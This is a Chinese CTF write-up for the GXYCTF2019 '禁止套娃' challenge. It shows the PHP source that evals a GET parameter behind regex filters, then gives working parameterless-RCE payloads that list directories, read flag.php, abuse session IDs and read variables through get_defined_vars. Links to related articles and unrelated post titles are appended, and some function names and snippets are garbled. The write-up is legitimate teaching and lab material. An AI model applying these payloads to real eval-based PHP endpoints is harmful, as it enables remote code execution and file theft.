[GXYCTF2019]禁止套娃 1

啥都没有那只能上扫描器来一探究竟了。

扫完没有啥结果,但网上找了一下说是git泄露,但是我这里显示了403.

  1. <?php
  2. include "flag.php";
  3. echo "flag在哪里呢?<br>";
  4. if(isset($_GET['exp'])){
  5. if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
  6. if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
  7. if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
  8. // echo $_GET['exp'];
  9. @eval($_GET['exp']);
  10. }
  11. else{
  12. die("还差一点哦!");
  13. }
  14. }
  15. else{
  16. die("再好好想想!");
  17. }
  18. }
  19. else{
  20. die("还想读flag,臭弟弟!");
  21. }
  22. }
  23. // highlight_file(__FILE__);
  24. ?>

网上的git的代码

这里涉及到了无参数RCE,对于if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))这个正则表达式,刚开始有一处我无法理解,那就是?R因为正则表达式没记得有这个字母,网上查了一下,(?R)是引用当前表达式的意思,因此可以衍生成匹配

\w+\(\w+\((?R)?\)\)、\w+\(\w+\(\w+\((?R)?\)\)\)
我想这就是为什么他取了无限套娃这个名字,套就硬套hhh,那我们只能输入下面类似的了a(b(c()));

在这种情况下平常我们利用的shell就会被受限制,汉南区执行我们想要的漏洞。

这个时候我们只有利用一切全局变量了来获取一些我们想要的信息。

关于getenv函数:

  1. getenv()函数定义:取得系统的环境变量;
  2. 语法:string getenv(string varname);
  3. 注:返回的是字符串;

详情参考:https://www.php.cn/php-weizijiaocheng-389142.html

localeconv函数:返回一包含本地数字及货币格式信息的数组。

output:

  1. Array ( [decimal_point] => . [thousands_sep] => [int_curr_symbol] => [currency_symbol] => [mon_decimal_point] => [mon_thousands_sep] => [positive_sign] => [negative_sign] => [int_frac_digits] => 127 [frac_digits] => 127 [p_cs_precedes] => 127 [p_sep_by_space] => 127 [n_cs_precedes] => 127 [n_sep_by_space] => 127 [p_sign_posn] => 127 [n_sign_posn] => 127 [grouping] => Array ( ) [mon_grouping] => Array ( ) )

current() 返回数组中的当前单元, 默认取第一个值。

第一个参数课已被我们用来当作根目录来进行查看:

那么就生成:(scandir(current(localeconv)))

payload:http://80b87005-c33a-4f1b-8f02-86cdc8ff521c.node3.buuoj.cn/?exp=print_r(scandir(current(localeconv())));

output:Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

得出在根目录下是存在flag.php的接下来我们就要去读取了。

arrayrand函数:从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回。

array
flip:交换数组的键和值,这样键就是flag,值就是文件名称了,我们在使用随机抽取的方式,获取我们想要的文件内容。

利用readfile来读取文件:

最终payload:view-source:http://80b87005-c33a-4f1b-8f02-86cdc8ff521c.node3.buuoj.cn/?exp=print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

刷新几下就能刷出来了。

解法二:利用session
sessionstart:调用session。

session
id:获取sessionid。

当我们把session_id设置为flag.php的时候,奇妙的事情就发生了呢,我们此时能够读取到flag了呢。

highlight_file,show_source都可以帮助我们读取文件。

关于无参数RCE:

虚假的的一句话木马:eval($_GET['code'])
真正的一句话木马:

面对正则表达式的匹配:

  1. if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
  2. eval($_GET['code']);
  3. }

我们无法利用单引号啦!

$_ENVL:

  1. 通过环境方式传递给当前脚本的变量的数组。
  2. 这些变量被从 PHP 解析器的运行环境导入到 PHP 的全局命名空间。很多是由支持 PHP 运行的 Shell 提供的,并且不同的系统很可能运行着不同种类的 Shell,所以不可能有一份确定的列表。请查<?php

array_rand:

  1. $a=array("red","green","blue","yellow","brown");
  2. $random_keys=array_rand($a,3);
  3. echo $a[$random_keys[0]]."<br>";
  4. echo $a[$random_keys[1]]."<br>";
  5. echo $a[$random_keys[2]];
  6. ?>看你的 Shell 文档来获取定义的环境变量列表。

array_flip:

  1. <?php
  2. $a1=array("a"=>"red","b"=>"green","c"=>"blue","d"=>"yellow");
  3. $result=array_flip($a1);
  4. print_r($result);
  5. ?>

反转数组中的键名和对应关联的键值,利用这两步我们就可以骚操作了,妙啊妙啊,因为我们单使用rand它只能返回键名,就很不nice,配合getenv()。

array_reverse:

以相反的元素顺序返回数组

dirname() & chdir()

这种方法我们不进行RCE,而是直接及逆行目录文件读取。

getcwd:获取当前目录。

目录遍历:scandir函数。

返回上层目录:dirname()
更改当前目录:

  1. dirname(getcwd())
  2. chdir(dirname(getcwd()))

遍历上一层或目录:

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

此外还有:getdefinedvars(),利用的是get/post传参。

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

具体的做法就是我们利用get或者post的方法传递一个参数,然后使用current+end或者start把他提取出来。

payload:eval(end(current(get_defined_vars())));&b=youwanttoshow;

[GXYCTF2019]禁止套娃 1 &无参数RCE的更多相关文章

  1. [GXYCTF2019]禁止套娃(无参RCE)

    [GXYCTF2019]禁止套娃 1.扫描目录 扫描之后发现git泄漏 使用githack读取泄漏文件 <?php include "flag.php"; echo &quo ...

  2. [BJDCTF 2nd]old-hack && [GXYCTF2019]禁止套娃

    [BJDCTF 2nd]old-hack 页面很有意思 同时也告诉了我们是THINKPHP5,我们只需要寻找THINKPHP5的漏洞就可以了. https://www.codercto.com/a/5 ...

  3. 0xctf[No parameters readfile](魔改版[GXYCTF2019]禁止套娃)

    阅读本文前建议先阅读本站中的另一篇文章:[GXYCTF2019]禁止套娃 重要参考链接:http://www.heetian.com/info/827 Leon师傅魔改了[GXYCTF2019]禁止套 ...

  4. [GXYCTF2019]禁止套娃

    0x00 知识点 无参数RCE eval($_GET['exp']); 参考链接: https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/ ...

  5. 刷题[GXYCTF2019]禁止套娃

    梳理思路 打开网站,发现很简单,只有flag在哪里的字样. 查看源码,常用后台目录,robots.txt,都未发现有任何东西. 扫描 直接拉进扫描器一扫,发现 思考可能是git源码泄露,可能可以恢复源 ...

  6. 浅谈无参数RCE

    0x00 前言 这几天做了几道无参数RCE的题目,这里来总结一下,以后忘了也方便再捡起来. 首先先来解释一下什么是无参数RCE: 形式: if(';' === preg_replace('/[^\W] ...

  7. [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]

    简介  原题复现:  考察知识点:无参数命令执行.绕过filter_var(), preg_match()  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...

  8. [原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)

    简介  原题复现:  考察知识点:无参数命令执行.Fuzz  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 环境复现 ...

  9. [原题复现][CISCN 2019 初赛]WEB-Love Math(无参数RCE)[未完结]

    简介  原题复现:  考察知识点:无参数命令执行  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 源码审计 代码 1 ...

随机推荐

  1. failed to find romfile "efi-virtio.rom"

    问题:failed to find romfile "efi-virtio.rom" 解决:apt-get install ipxe-qemu

  2. pandas 数据表中的字符与日期数据的处理

    前面我们有学习过有关字符串的处理和正在表达式,但那都是基于单个字符串或字符串列表的操作.下面将学习如何基于数据框操作字符型变量. 同时介绍一下如何从日期型变量中取出年份,月份,星期几等,如何计算两个日 ...

  3. Json解析方式汇总 excel vba

    一. 这种方式比较复杂,因为office版本的原因,所以要加其它函数 Private Function parseScript(strJson As String) Dim objJson As Ob ...

  4. OpenCV实现人脸检测

    OpenCV实现人脸检测(转载)  原文链接:https://www.cnblogs.com/mengdd/archive/2012/08/01/2619043.html 本文介绍最基本的用OpenC ...

  5. 单元测试利器Mockito框架

    什么是Mock Mock 的中文译为仿制的,模拟的,虚假的.对于测试框架来说,即构造出一个模拟/虚假的对象,使我们的测试能顺利进行下去. Mock 测试就是在测试过程中,对于某些 不容易构造(如 Ht ...

  6. Kafka Broker源码:网络层设计

    一.整体架构 1.1 核心逻辑 1个Acceptor线程+N个Processor线程(network.threads)+M个Request Handle线程(io threads) 多线程多React ...

  7. Redis操作及集群搭建以及高可用配置

    NoSQL - Redis 缓存技术 Redis功能介绍 数据类型丰富 支持持久化 多种内存分配及回收策略 支持弱事务 支持高可用 支持分布式分片集群 企业缓存产品介绍 Memcached: 优点:高 ...

  8. Codeforces1312D Count the Arrays 组合数学

    题意 给你\(n\)和\(m\),问满足以下条件的数列的个数: 数列长度为\(n\) 数列值域范围为\(\left[1,m\right]\) 数列有且仅有一对相等的数 数列是单峰数列(先严格递增后严格 ...

  9. 基于STM32的脉搏心率检测仪(OLED可以实时显示脉冲波形)

    —设计完整,功能可全部实现,有完整报告文档说明.程序以及pcb文件— 可作为:课程设计,STM32实践学习,电子制作等 设计所实现的功能: 利用STM32的AD采集功能实时采集心率传感器信号输出引脚输 ...

  10. pwnable.kr之flag

    拿到文件,先运行一下,输出: I will malloc() and strcpy the flag there. take it. 用python查看文件是否有什么保护, Arch: amd64-- ...